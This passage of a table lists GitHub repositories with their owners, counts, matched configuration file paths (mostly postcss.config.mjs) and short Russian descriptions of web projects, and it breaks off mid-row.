tanushbhootra576/PW-app | tanushbhootra576 | Пользователь | 4 | 0 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/PW-app | | 103 | tanushbhootra576/RESTRO | tanushbhootra576 | Пользователь | 4 | 0 | 1 | tailwind.config.js | | https://github.com/tanushbhootra576/RESTRO | | 104 | tanushbhootra576/MoodSync | tanushbhootra576 | Пользователь | 4 | 0 | 1 | App.js | | https://github.com/tanushbhootra576/MoodSync | | 105 | Amanbanti/Capstone | Amanbanti | Пользователь | 1 | 1 | 1 | frontend/postcss.config.mjs | Проект Capstone — это кульминационный академический и практический опыт для студентов как программ программной инженерии (SE), так и компьютерных наук и инженерии (CSE). | https://github.com/Amanbanti/Capstone | | 106 | ShifaLabs/shifa | ShifaLabs | Пользователь | 1 | 1 | 1 | postcss.config.mjs | Shefa — это веб-платформа телемедицины, позволяющая пациентам консультироваться с проверенными врачами через видеозвонки в реальном времени, получать электронные рецепты и управлять своим здоровьем удалённо в безопасной и профессиональной среде. Это готовая к развёртыванию система производственного уровня, а не демо-версия или учебный макет. | https://github.com/ShifaLabs/shifa | | 107 | SouravDn-p/mobile-canvas-nextjs | SouravDn-p | Пользователь | 1 | 1 | 1 | postcss.config.mjs | MobileCanvas — это современная полнофункциональная торговая платформа, ориентированная на продажу гаджетов и мобильных устройств. Построена с использованием Next.js, Redux Toolkit и MongoDB. Предлагает безопасный, отзывчивый и удобный опыт покупок для пользователей и мощные инструменты управления для администраторов. | https://github.com/SouravDn-p/mobile-canvas-nextjs | | 108 | RinSanom/IoTWeb | RinSanom | Пользователь | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/RinSanom/IoTWeb | | 109 | kanchana404/Google-bussiness-api-Get-reviews-and-Reply-reviews | kanchana404 | Пользователь | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/kanchana404/Google-bussiness-api-Get-reviews-and-Reply-reviews | | 110 | Salman1205/MailAssist | Salman1205 | Пользователь | 1 | 1 | 1 | postcss.config.mjs | Платформа поддержки клиентов на базе ИИ с интеграцией Gmail, интеллектуальной системой тикетов, автоматизированными ответами, интеграцией Shopify и совместной работой команды в реальном времени. | https://github.com/Salman1205/MailAssist | | 111 | Yassin-Younis/bypass-in-app-browser | Yassin-Younis | Пользователь | 3 | 0 | 1 | next.config.mjs | Обход встроенных браузеров приложений социальных сетей, таких как Instagram, Facebook, TikTok и других. Отправляйте пользователей в их нативные браузеры, когда они нажимают на вашу рекламу в социальных сетях, чтобы улучшить вовлечённость, точное отслеживание и повысить конверсию. | https://github.com/Yassin-Younis/bypass-in-app-browser | | 112 | Lithira-Silva/TrueClaim---ITPM- | Lithira-Silva | Пользователь | 2 | 0 | 1 | client/postcss.config.mjs | TrueClaim — интеллектуальная система управления страховыми требованиями, разработанная как проект ITPM в SLIIT (3-й курс, 2-й семестр). Создана с использованием стека MERN для оптимизации и автоматизации процесса страховых требований с точностью и эффективностью. | https://github.com/Lithira-Silva/TrueClaim---ITPM- | | 113 | maaz-bin-hassan/sahoolat-web-new | maaz-bin-hassan | Пользователь | 2 | 0 | 1 | postcss.config.mjs | | https://github.com/maaz-bin-hassan/sahoolat-web-new | | 114 | Pramadu2001/ITPM_MODUS | Pramadu2001 | Пользователь | 0 | 1 | 1 | my-app/postcss.config.mjs | Проект управления информационными и технологическими проектами 3-го курса 2-го семестра — обучающая платформа MODUS | https://github.com/Pramadu2001/ITPM_MODUS | | 115 | abimtad/upload_file | abimtad | Пользователь | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/abimtad/upload_file | | 116 | anilgoswamistartbitsolutions/travel-platform | anilgoswamistartbitsolutions | Пользователь | 0 | 1 | 3 | sites/holidaydeals/postcss.config.mjs | travel_template/package/postcss.config.mjs | travel_template/old/postcss.config.mjs | | https://github.com/anilgoswamistartbitsolutions/travel-platform | | 117 | AhsanalyOfficial/ahsan_portfolio | AhsanalyOfficial | Пользователь | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/AhsanalyOfficial/ahsan_portfolio | | 118 | HevenDev/rmw-new-design | HevenDev | Пользователь | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/HevenDev/rmw-new-design | | 119 | anilgoswamistartbitsolutions/travel-payload-sites | anilgoswamistartbitsolutions | Пользователь | 0 | 1 | 2 | sites/holidaydeals/postcss.config.mjs | sites/luxurytravels/postcss.config.mjs | | https://github.com/anilgoswamistartbitsolutions/travel-payload-sites | | 120 | dhruvmalik007/solana-colossum-hackathon | dhruvmalik007 | Пользователь | 0 | 1 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | Создание предиктивного маркетплейса для тематической инвестиционной платформы портфелей устойчивых инвестиций | https://github.com/dhruvmalik007/solana-colossum-hackathon | | 121 | Tiewasters99/AI_Law_Wizard | Tiewasters99 | Пользователь | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/Tiewasters99/AI_Law_Wizard | | 122 | coderkhalide/scalping-trading-tools | coderkhalide | Пользователь | 0 | 1 | 1 | postcss.config.mjs | Настраивайте и оценивайте свои торговые сделки с помощью взвешенных факторов, индивидуальной оценки факторов, бонусных баллов и буквенных оценок. | https://github.com/coderkhalide/scalping-trading-tools | | 123 | monazahmed/Agrismart-project- | monazahmed | Пользователь | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/monazahmed/Agrismart-project- | | 124 | Gowreesh-VT/SherlockIT | Gowreesh-VT | Пользователь | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/Gowreesh-VT/SherlockIT | | 125 | webprogramminghack/b3-practice-30 | webprogramminghack | Пользователь | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/webprogramminghack/b3-practice-30 | | 126 | Salman1205/Mail-Assist-CRM | Salman1205 | Пользователь | 2 | 0 | 1 | postcss.config.mjs | | https://github.com/Salman1205/Mail-Assist-CRM | | 127 | AbdulwahidHusein/Shipper-chat | AbdulwahidHusein | Пользователь | 2 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/AbdulwahidHusein/Shipper-chat | | 128 | michelzappy/zappy-scratch-091225 | michelzappy | Пользователь | 0 | 1 | 1 | frontend/tailwind.config.js | | https://github.com/michelzappy/zappy-scratch-091225 | | 129 | Ali-Hamas/Learn_Hub | Ali-Hamas | Пользователь | 0 | 1 | 1 | frontend/tailwind.config.js | LearnHub — многопользовательская обучающая платформа с FastAPI, React, MongoDB, платежами Stripe и ИИ-тьютором. | https://github.com/Ali-Hamas/Learn_Hub | | 130 | VALENSAPP/coin_backend | VALENSAPP | Пользователь | 0 | 1 | 1 | eslint.config.mjs | Репозиторий бэкенда. | https://github.com/VALENSAPP/coin_backend | | 131 | QaisarWaheed/Aluminum-POS | QaisarWaheed | Пользователь | 0 | 1 | 1 | eslint.config.mjs | | https://github.com/QaisarWaheed/Aluminum-POS | | 132 | Abdulbasit219/UPSkaleAI | Abdulbasit219 | Пользователь | 1 | 0 | 1 | postcss.config.mjs | Приложение UP SKale AI для студентов (обучающихся) и (зарабатывающих) (дипломный проект) | https://github.com/Abdulbasit219/UPSkaleAI | | 133 | Satyam3002/nextauth | Satyam3002 | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/Satyam3002/nextauth | | 134 | ahmadraza382/Hospital-management-system | ahmadraza382 | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/ahmadraza382/Hospital-management-system | | 135 | AKDebug-UX/challengePR | AKDebug-UX | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/AKDebug-UX/challengePR | | 136 | Ruwanima/ella-south-star-frontend | Ruwanima | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/Ruwanima/ella-south-star-frontend | | 137 | ahmadraza382/Luxeurs-Shopping-Store | ahmadraza382 | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/ahmadraza382/Luxeurs-Shopping-Store | | 138 | ahmadraza382/Portfolio | ahmadraza382 | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/ahmadraza382/Portfolio | | 139 | Ayesha-Siddiqui1234/katy-youth-hackathon-2025-dev-post- | Ayesha-Siddiqui1234 | Пользователь | 1 | 0 | 1 | frontend/postcss.config.mjs | Наша команда участвовала в хакатоне для молодёжи Katy Youth Hackathon 2025, и мы создаём полнофункциональный веб-сайт со встроенным чат-ботом, который будет работать как карьерный консультант, направляющий студентов по их карьерному пути. | https://github.com/Ayesha-Siddiqui1234/katy-youth-hackathon-2025-dev-post- | | 140 | WimpyvL/Zappy-Health-Dashboard | WimpyvL | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/WimpyvL/Zappy-Health-Dashboard | | 141 | ifedolapoomoniyi/fleet-robotics | ifedolapoomoniyi | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/ifedolapoomoniyi/fleet-robotics | | 142 | muhammad-tahir-sultan/rehman-fyp-nextjs-multivendor | muhammad-tahir-sultan | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/muhammad-tahir-sultan/rehman-fyp-nextjs-multivendor | | 143 | vkrms/wizard | vkrms | Пользователь | 1 | 0 | 1 | postcss.config.mjs | Учебный проект многошаговой формы на React | https://github.com/vkrms/wizard | | 144 | Atik203/VocabPrep | Atik203 | Пользователь | 1 | 0 | 1 | frontend/postcss.config.mjs | Современное, сфокусированное веб-приложение, помогающее наращивать и осваивать английскую лексику с помощью интерактивного обучения, практических сессий и отслеживания прогресса. | https://github.com/Atik203/VocabPrep | | 145 | web-ghoul/Portfolio | web-ghoul | Пользователь | 1 | 0 | 1 | postcss.config.mjs | Включает мои проекты, опыт, сертификаты, контакты. | https://github.com/web-ghoul/Portfolio | | 146 | AbdulwahidHusein/ai-tools-directory | AbdulwahidHusein | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/AbdulwahidHusein/ai-tools-directory | | 147 | AhmadRazaKhokhar1/resturants-app | AhmadRazaKhokhar1 | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/AhmadRazaKhokhar1/resturants-app | | 148 | ishivamgaur/Ap-news-next-js | ishivamgaur | Пользователь | 1 | 0 | 1 | postcss.config.mjs | AP News — это новостное приложение на Next.js, предоставляющее категоризированный новостной контент, такой как политика, спорт, технологии, развлечения и обновления в реальном времени, с высокой производительностью, SEO-оптимизацией и рендерингом на стороне сервера. | https://github.com/ishivamgaur/Ap-news-next-js | | 149 | amMubbasher/cleannami.ceenami-old | amMubbasher | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/amMubbasher/cleannami.ceenami-old | | 150 | AbdulwahidHusein/crawler-dashboard | AbdulwahidHusein | Пользователь | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/AbdulwahidHusein/crawler-dashboard | | 151 | SouravDn-p/RexAuction | SouravDn-p | Пользователь | 1 | 0 | 1 | tailwind.config.js | Веб-приложение для аукционов в реальном времени, созданное для живых торгов, сочетающее продвинутые функции, такие как мгновенные обновления, интеллектуальные торги и связь в реальном времени между пользователями. | https://github.com/SouravDn-p/RexAuction | | 152 | AKDebug-UX/interactive-tv-app | AKDebug-UX | Пользователь | 1 | 0 | 1 | tailwind.config.js | | https://github.com/AKDebug-UX/interactive-tv-app | | 153 | usman-174/VidSpark | usman-174 | Пользователь | 1 | 0 | 1 | client/tailwind.config.js | | https://github.com/usman-174/VidSpark | | 154 | NatyJoseDie/proyecto-nginx | NatyJoseDie | Пользователь | 1 | 0 | 1 | eslint.config.mjs | | https://github.com/NatyJoseDie/proyecto-nginx | | 155 | AKDebug-UX/DoneWithIt | AKDebug-UX | Пользователь | 1 | 0 | 1 | App.js | | https://github.com/AKDebug-UX/DoneWithIt | | 156 | dhruvmalik007/forensics-board | dhruvmalik007 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/dhruvmalik007/forensics-board | | 157 | Rahulkumarhavit/ProStore-Ecommerce | Rahulkumarhavit | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Rahulkumarhavit/ProStore-Ecommerce | | 158 | Bart3kL/shopify-components | Bart3kL | Пользователь | 0 | 0 | 1 | polaris-components/postcss.config.mjs | | https://github.com/Bart3kL/shopify-components | | 159 | mjatin-dev/logic-zephyr | mjatin-dev | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/mjatin-dev/logic-zephyr | | 160 | umrasghar/heygen-demo | umrasghar | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/umrasghar/heygen-demo | | 161 | thanhdanh111/challenge | thanhdanh111 | Пользователь | 0 | 0 | 2 | Problem-2/postcss.config.mjs | Problem-3/postcss.config.mjs | | https://github.com/thanhdanh111/challenge | | 162 | hamza-nafasat/rentin-frontend | hamza-nafasat | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/hamza-nafasat/rentin-frontend | | 163 | rejoan121615/ClientOps | rejoan121615 | Пользователь | 0 | 0 | 1 | frontend/postcss.config.mjs | ClientOps — это полнофункциональная внутренняя операционная панель, предназначенная для агентств и малых предприятий для безопасного управления клиентами, проектами, членами команды и рабочими процессами. | https://github.com/rejoan121615/ClientOps | | 164 | SouravDn-p/CMR | SouravDn-p | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/SouravDn-p/CMR | | 165 | EmanDeveloper/EasyTech | EmanDeveloper | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/EmanDeveloper/EasyTech | | 166 | addis-ale/25-5-clock | addis-ale | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/25-5-clock | | 167 | MSCPerera/Job-Board-App | MSCPerera | Пользователь | 0 | 0 | 1 | job-board-app/postcss.config.mjs | | https://github.com/MSCPerera/Job-Board-App | | 168 | Nathanim1919/nextjs-project | Nathanim1919 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Nathanim1919/nextjs-project | | 169 | TimothyBabatu13/AegisHealth-Smart | TimothyBabatu13 | Пользователь | 0 | 0 | 1 | aegis-health-smart/postcss.config.mjs | | https://github.com/TimothyBabatu13/AegisHealth-Smart | | 170 | Senti-fi/Senti.fi | Senti-fi | Пользователь | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/Senti-fi/Senti.fi | | 171 | Zentaurios/stable-monitor | Zentaurios | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Zentaurios/stable-monitor | | 172 | SouravDn-p/Frontend-task | SouravDn-p | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/SouravDn-p/Frontend-task | | 173 | Storaboy11/meerge | Storaboy11 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Storaboy11/meerge | | 174 | ahmedghonim/esraa | ahmedghonim | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/ahmedghonim/esraa | | 175 | vrunda310/AIA-VEGA-Frontend | vrunda310 | Пользователь | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/vrunda310/AIA-VEGA-Frontend | | 176 | emmanueldavidson96/popular_saas_product_landing_page | emmanueldavidson96 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/emmanueldavidson96/popular_saas_product_landing_page | | 177 | pratikp72/deal-Project | pratikp72 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/pratikp72/deal-Project | | 178 | Al-amin07/file_sure | Al-amin07 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/file_sure | | 179 | waris-ansar/finstar | waris-ansar | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/waris-ansar/finstar | | 180 | MianHaziq/LKnight-Lms | MianHaziq | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/MianHaziq/LKnight-Lms | | 181 | pankajkhadse/TrustBasket | pankajkhadse | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/pankajkhadse/TrustBasket | | 182 | adnaan-2/content-generation | adnaan-2 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/adnaan-2/content-generation | | 183 | malikjunaidhassann/seller-panel | malikjunaidhassann | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/malikjunaidhassann/seller-panel | | 184 | mdnuruzzamannirob/your-capture-awards-dashboard | mdnuruzzamannirob | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/mdnuruzzamannirob/your-capture-awards-dashboard | | 185 | Minahil48/NY-caffine | Minahil48 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Все ваши пристрастия в одном месте | https://github.com/Minahil48/NY-caffine | | 186 | FrazKhan1/dev-team-chat | FrazKhan1 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/FrazKhan1/dev-team-chat | | 187 | jrioscloud/financial-document-analyzer | jrioscloud | Пользователь | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/jrioscloud/financial-document-analyzer | | 188 | seemab-ahmed/rodopi | seemab-ahmed | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/seemab-ahmed/rodopi | | 189 | JudeTejada/digital-pods | JudeTejada | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/JudeTejada/digital-pods | | 190 | msuhels/RapidProject-Pos-System | msuhels | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/msuhels/RapidProject-Pos-System | | 191 | Al-amin07/project_5_frontend | Al-amin07 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/project_5_frontend | | 192 | abdullah2310ishaq/afronaut | abdullah2310ishaq | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/abdullah2310ishaq/afronaut | | 193 | Jaskaran2701/Test-1 | Jaskaran2701 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Jaskaran2701/Test-1 | | 194 | Deepanshu7-bit/nugen-interns | Deepanshu7-bit | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Deepanshu7-bit/nugen-interns | | 195 | saifullah-max/bublr | saifullah-max | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/saifullah-max/bublr | | 196 | Meet2054/automa8x-production-new | Meet2054 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Meet2054/automa8x-production-new | | 197 | bharatbrovitech/india-to-germany | bharatbrovitech | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/bharatbrovitech/india-to-germany | | 198 | PremShakti/PanchangCalendar | PremShakti | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/PremShakti/PanchangCalendar | | 199 | Pa-ppy/Checkout | Pa-ppy | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Pa-ppy/Checkout | | 200 | Atif-Hameed/als-admin | Atif-Hameed | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/als-admin | | 201 | Dawit212119/Devodemy | Dawit212119 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Создание LMS с использованием Nextjs, React, Stripe, Mux, next app router, Prisma, Strip, Mysql, Docker, AWS Lambda, Redux Toolkit, Tailwind CSS, Shadcn, TypeScript, Zod, aws s3, aws CloudFront, Clerk | https://github.com/Dawit212119/Devodemy | | 202 | SouravDn-p/NextManager-YourInventoryManager | SouravDn-p | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Менеджер запасов на Next.js — полнофункциональная система управления запасами, построенная с использованием App Router Next.js 14, Tailwind CSS, MongoDB и Redux Toolkit (RTK Query). Это приложение поддерживает как социальную аутентификацию через NextAuth.js (Google, GitHub), так и традиционный вход по адресу электронной почты / паролю с использованием JWT. | https://github.com/SouravDn-p/NextManager-YourInventoryManager | | 203 | ranjannkumar/Token-Vesting-App | ranjannkumar | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/ranjannkumar/Token-Vesting-App | | 204 | Usamahafiz8/fetchdetails | Usamahafiz8 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Usamahafiz8/fetchdetails | | 205 | freelancework00700/CRM-test-task | freelancework00700 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/freelancework00700/CRM-test-task | | 206 | ahmadraza382/APIs-integration | ahmadraza382 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Получение данных из API, просто для практики и черновика | https://github.com/ahmadraza382/APIs-integration | | 207 | akashmuhammadabrrar/Resume-builder-NextTypescript | akashmuhammadabrrar | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/akashmuhammadabrrar/Resume-builder-NextTypescript | | 208 | abimtad/Customer-feedback | abimtad | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/abimtad/Customer-feedback | | 209 | SanjayaPrasadRajapaksha/Blog_App | SanjayaPrasadRajapaksha | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/SanjayaPrasadRajapaksha/Blog_App | | 210 | MunibQazi12/next-starter-template | MunibQazi12 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/MunibQazi12/next-starter-template | | 211 | PremShakti/multi-tenet-school-profile-app | PremShakti | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/PremShakti/multi-tenet-school-profile-app | | 212 | mirzaghalib4726/committee-system-next | mirzaghalib4726 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/mirzaghalib4726/committee-system-next | | 213 | ChiraniSiriwardhana/Spirit11 | ChiraniSiriwardhana | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Безопасная и удобная система аутентификации | https://github.com/ChiraniSiriwardhana/Spirit11 | | 214 | developerdesigner18/Frontend-Task | developerdesigner18 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/developerdesigner18/Frontend-Task | | 215 | noors-code/Account-Settings | noors-code | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/noors-code/Account-Settings | | 216 | finom/vovk-hello-world | finom | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Приложение Vovk.ts Hello World | https://github.com/finom/vovk-hello-world | | 217 | Yashpreetrana4790/Bestvocabulary_platform | Yashpreetrana4790 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Сайт для изучения лексики | https://github.com/Yashpreetrana4790/Bestvocabulary_platform | | 218 | Atif-Hameed/unsigned-admin | Atif-Hameed | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/unsigned-admin | | 219 | saifullah-max/mandviwalla-mauser | saifullah-max | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/saifullah-max/mandviwalla-mauser | | 220 | Navoda001/Solana | Navoda001 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Navoda001/Solana | | 221 | wolfstudiosai/braxx-frontend-v2 | wolfstudiosai | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/wolfstudiosai/braxx-frontend-v2 | | 222 | cywasay/neorecruits- | cywasay | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/cywasay/neorecruits- | | 223 | raoarafat/steelh-website | raoarafat | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/raoarafat/steelh-website | | 224 | Qasim-dev/stock-tracker | Qasim-dev | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Qasim-dev/stock-tracker | | 225 | teresagrobecker/pensio_consortia | teresagrobecker | Пользователь | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/teresagrobecker/pensio_consortia | | 226 | umarabid123/Raise-Your-Hack | umarabid123 | Пользователь | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/umarabid123/Raise-Your-Hack | | 227 | dhruvmalik007/xrpl_haks_hackathon_project | dhruvmalik007 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Участие в хакатоне XRPL: разработка фреймворка RAG-агента для мониторинга цен и создания рынков для сертификатов воздействия | https://github.com/dhruvmalik007/xrpl_haks_hackathon_project | | 228 | addis-ale/EGA | addis-ale | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/EGA | | 229 | addis-ale/free_code_camp_task_01 | addis-ale | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Задача сертификации фронтенд-библиотек Free codecamp | https://github.com/addis-ale/free_code_camp_task_01 | | 230 | addis-ale/gd-landing-page | addis-ale | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/gd-landing-page | | 231 | Al-amin07/purple-cat-client | Al-amin07 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/purple-cat-client | | 232 | Al-amin07/apparel-trade-bd | Al-amin07 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/apparel-trade-bd | | 233 | Al-amin07/hyshin | Al-amin07 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/hyshin | | 234 | Al-amin07/web-programming-lab | Al-amin07 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/web-programming-lab | | 235 | mdnuruzzamannirob/relo-website | mdnuruzzamannirob | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/mdnuruzzamannirob/relo-website | | 236 | Harsimran-Nugen/assignment | Harsimran-Nugen | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Harsimran-Nugen/assignment | | 237 | cto-varun/user-crud-design-nextjs | cto-varun | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/cto-varun/user-crud-design-nextjs | | 238 | Aman-scripts/NugenEmployabilityTest | Aman-scripts | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Aman-scripts/NugenEmployabilityTest | | 239 | akashstwt/inventory-management-majorproject | akashstwt | Пользователь | 0 | 0 | 1 | client/postcss.config.mjs | | https://github.com/akashstwt/inventory-management-majorproject | | 240 | akashstwt/TheGitcode | akashstwt | Пользователь | 0 | 0 | 1 | gitcodeweb/postcss.config.mjs | | https://github.com/akashstwt/TheGitcode | | 241 | Atif-Hameed/ALS-Panel | Atif-Hameed | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/ALS-Panel | | 242 | umarabid123/store-forge | umarabid123 | Пользователь | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/umarabid123/store-forge | | 243 | addis-ale/discord | addis-ale | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/discord | | 244 | addis-ale/hirecards-prod | addis-ale | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/hirecards-prod | | 245 | addis-ale/ega_updated | addis-ale | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/ega_updated | | 246 | addis-ale/group-match | addis-ale | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/group-match | | 247 | SanjayaPrasadRajapaksha/Hotel_Booking-Admin_Panel | SanjayaPrasadRajapaksha | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/SanjayaPrasadRajapaksha/Hotel_Booking-Admin_Panel | | 248 | SanjayaPrasadRajapaksha/Todo_App | SanjayaPrasadRajapaksha | Пользователь | 0 | 0 | 1 | my-app/postcss.config.mjs | | https://github.com/SanjayaPrasadRajapaksha/Todo_App | | 249 | PremShakti/Inventory-Todo-Manager | PremShakti | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/PremShakti/Inventory-Todo-Manager | | 250 | fsdteam8/lowready-dashboard | fsdteam8 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/fsdteam8/lowready-dashboard | | 251 | badhon252/shift-scheduler | badhon252 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Создан для оптимизации планирования смен | https://github.com/badhon252/shift-scheduler | | 252 | fsdteam8/stevenar77-dashboard | fsdteam8 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/fsdteam8/stevenar77-dashboard | | 253 | Atif-Hameed/unsigned-frontend | Atif-Hameed | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/unsigned-frontend | | 254 | Atif-Hameed/social-admin | Atif-Hameed | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/social-admin | | 255 | Atif-Hameed/cybenty | Atif-Hameed | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/cybenty | | 256 | anthemnandani/ai | anthemnandani | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/anthemnandani/ai | | 257 | mijanConnect/the-piegeon-hub-website | mijanConnect | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/mijanConnect/the-piegeon-hub-website | | 258 | Button-20/juzbuild | Button-20 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Button-20/juzbuild | | 259 | HyderYash/my-progess-tracker | HyderYash | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/HyderYash/my-progess-tracker | | 260 | MohamedH1000/course | MohamedH1000 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/MohamedH1000/course | | 261 | nipun-imesh/sample-react | nipun-imesh | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/nipun-imesh/sample-react | | 262 | sayyamButt317/ishout | sayyamButt317 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sayyamButt317/ishout | | 263 | rvmediacorp/Headshot-Portland-Official | rvmediacorp | Пользователь | 0 | 0 | 1 | 